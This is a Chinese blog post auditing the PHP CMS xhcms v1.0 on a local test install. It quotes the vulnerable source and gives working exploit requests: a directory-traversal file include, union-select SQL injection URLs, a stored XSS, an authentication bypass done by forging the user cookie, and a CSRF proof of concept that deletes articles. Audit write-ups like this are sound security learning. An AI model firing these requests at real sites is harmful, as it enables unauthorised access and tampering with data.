熊海博客php版本,熊海CMS xhcms v1.0代码审计

有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0

本地环境安装好了之后,可以看到提示安装了锁文件

20200504162755805177.png

说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了,挨个看看

//单一入口模式

error_reporting(0); //关闭错误显示

$file=addslashes($_GET[‘r‘]); //接收文件名

$action=$file==‘‘?‘index‘:$file; //判断为空或者等于index

include(‘files/‘.$action.‘.php‘); //载入相应文件

?>

第一个疑似文件包含漏洞,对GET方式传进的参数r进行了参数过滤,但是存在目录穿越,黑盒尝试了一下使用点 反斜杠截断,无果,存在漏洞,但是只能包含本地php文件

创建一个phppinfo.php文件

20200504162755952643.png

本来是包含files文件夹下的php文件,通过目录穿越我们尝试包含phpinfo.php

http://127.0.0.1/xhcms_v1.0/?r=../../phpinfo

20200504162756012216.png

成功包含

第二个疑似文件包含漏洞也是同样的利用方式,代码都是类似的:

//单一入口模式

error_reporting(0); //关闭错误显示

$file=addslashes($_GET[‘r‘]); //接收文件名

$action=$file==‘‘?‘index‘:$file; //判断为空或者等于index

include(‘files/‘.$action.‘.php‘); //载入相应文件

?>

再看一下疑似存在SQL注入的地方

$save=$_POST[‘save‘];

$ad1=addslashes($_POST[‘ad1‘]);

$ad2=addslashes($_POST[‘ad2‘]);

$ad3=addslashes($_POST[‘ad3‘]);

if ($save==1){

$query = "UPDATE adword SET

ad1=‘$ad1‘,

ad2=‘$ad2‘,

ad3=‘$ad3‘,

date=now()";

这里可以看到对于POST方式输入的参数使用了addslashes函数进行过滤,所以这里的注入是一个误报,看下一处疑似注入:

在editcolumn.php文件中,存在如下代码:

$id=$_GET[‘id‘];

$type=$_GET[‘type‘];

if ($type==1){

$query = "SELECT * FROM nav WHERE id=‘$id‘";

可以看到对于GET方式输入的id没有进行过滤,应该是开发者的遗漏,我们到本地网站上进行测试

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1

输入单引号之后页面报错

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27

20200504162756169449.png

我们知道后端的php代码,就直接使用union select 进行注入

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20order%20by%2010--+

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,2,3,4,5,6,7,8,9,10--+

字段数为10,回显位置有2,6,3,4,8

20200504162756341330.png

http://127.0.0.1/xhcms_v1.0/admin/?r=editcolumn&type=1&id=1%27%20and%201=2%20union%20select%201,database(),3,4,5,user(),7,8,9,10--+

使用payload查询database()和user()

20200504162756431177.png

成功获取到了数据。

测试了一下后台的头像文件上传,上传正常的图片好像都不行

20200504162756517118.png

一直都是这个头像,尝试寻找XSS,CSRF和越权漏洞

if (isset($_GET["callback"])) {

if (preg_match("/^[\w_]+$/", $_GET["callback"])) {

echo htmlspecialchars($_GET["callback"]) . ‘(‘ . $result . ‘)‘;

} else {

echo json_encode(array(

‘state‘=> ‘callback参数不合法‘

));

}

} else {

echo $result;

}

这里使用了htmlspecialchars函数进行过滤,$callback参数不存在XSS漏洞,而result变量在前面是固定的几个选项,不能构造XSS

到联系的留言列表里面去,可以看到用户可以在这里留言,应该是我搭建的问题,导致用户不能提交留言,但是有一个管理员回复,我们到后台界面留言回复,进行XSS攻击。

20200504162756599153.png

使用payload:

再到网站联系界面,可以看到成功弹窗

20200504162756750526.png

20200504162756814005.png

同时我们审查元素,可以看到XSS的payload在页面的元素中,对管理员回复留言并没有进行限制,导致XSS漏洞的产生

20200504162756858928.png

关于越权漏洞,因为只有admin一个用户,我们尝试可不可以不输入密码进入后台

在后台主页进行抓包:

20200504162756935103.png

可以看到Cookie里面有user=admin,很容易联想到会不会是user所对应的名字就是它对应的权限,测试之后发现不是,因为就一个用户,但是测试发现只要存在user,就能够进入后台,如我们先将cookie删除:

20200504162757013231.png

可以看到会将我们重定向至login界面

将cookie中的user改为一个并不存在的用户SpringBird,可以看到后台登录成功。

20200504162757088429.png

20200504162757208551.png

寻找CSRF漏洞,CSRF全程为跨站请求伪造,即可以劫持其他用户去进行一些请求。我们尝试劫持管理员的权限去删除文章

点击删除文章之后抓包

20200504162757313047.png

使用burpsuite自带的CSRF POC生成

20200504162757370667.png

在本地创建CSRF.html,访问之

20200504162757432192.png

20200504162757487859.png

可以看到出现了按钮,抓包的时候我们可以看到没有token验证,证明很有可能存在CSRF漏洞,这个时候浏览器还保存着管理员的身份信息,所以点击Submit就能够删除对应的文章

20200504162757545478.png

成功进行CSRF攻击。

继续努力吧。

参考链接:

原文:https://www.cnblogs.com/Cl0ud/p/12824593.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值